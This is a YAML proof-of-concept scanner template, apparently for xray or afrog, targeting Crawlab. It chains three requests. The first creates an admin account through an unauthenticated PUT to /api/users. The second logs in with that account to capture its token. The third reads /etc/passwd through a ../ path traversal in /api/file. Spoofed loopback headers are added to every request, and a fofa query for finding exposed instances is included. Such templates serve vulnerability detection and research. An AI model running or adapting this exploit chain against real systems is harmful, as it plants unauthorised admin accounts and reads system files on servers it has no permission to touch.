crawlab-any-adduser-and-anyfile-read: Crawlab users 任意用户添加漏洞 任意文件读取漏洞

id: crawlab-any-adduser-and-anyfile-read

info:
  name: Crawlab users 任意用户添加漏洞 任意文件读取漏洞
  author: daffainfo
  severity: critical
  verified: true
  description: |
    Crawlab users 的 api 存在任意用户添加，且添加为未授权接口，可通过添加后在后台进一步攻击。漏洞影响:Crawlab v0.0.1
    fofa-query: title="Crawlab"
  reference:
    - https://github.com/Threekiii/Awesome-POC/blob/master/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/Crawlab%20users%20%E4%BB%BB%E6%84%8F%E7%94%A8%E6%88%B7%E6%B7%BB%E5%8A%A0%E6%BC%8F%E6%B4%9E.md

set:
    r1: randomLowercase(20)
rules:
  r0:
    request:
      method: PUT
      path: /api/users
      headers:
        Accept: application/json, text/plain, */*
        x-forwarded-for: 127.0.0.1
        x-originating-ip: 127.0.0.1
        x-remote-ip: 127.0.0.1
        x-remote-addr: 127.0.0.1
      body: |
        {"username":"{{r1}}","password":"{{r1}}","role":"admin","email":"{{r1}}@qq.com"}
    expression: response.status == 200 && response.body.bcontains(b'"status":') && response.body.bcontains(b'"ok') && response.body.bcontains(b'"message":') && response.body.bcontains(b'"success"')
  r1:
    request:
      method: POST
      path: /api/login
      headers:
        Accept: application/json, text/plain, */*
        Content-Type: application/json;charset=UTF-8
        x-forwarded-for: 127.0.0.1
        x-originating-ip: 127.0.0.1
        x-remote-ip: 127.0.0.1
        x-remote-addr: 127.0.0.1
      body: |
        {"username":"{{r1}}","password":"{{r1}}"}
    expression: response.status == 200 && response.body.bcontains(b'"status":') && response.body.bcontains(b'"ok') && response.body.bcontains(b'"message":') && response.body.bcontains(b'"success"')
    output:
      search: '"\"data\":\"(?P<authdata>.+?)\",".bsubmatch(response.body)'
      authdata: search["authdata"]
  r2:
    request:
      method: GET
      path: /api/file?path=../../etc/passwd
      headers:
        Accept: application/json, text/plain, */*
        Authorization: "{{authdata}}"
        x-forwarded-for: 127.0.0.1
        x-originating-ip: 127.0.0.1
        x-remote-ip: 127.0.0.1
        x-remote-addr: 127.0.0.1
    expression: response.status == 200 && "root:.*?:[0-9]*:[0-9]*:".bmatches(response.body)
expression: r0() && r1() && r2()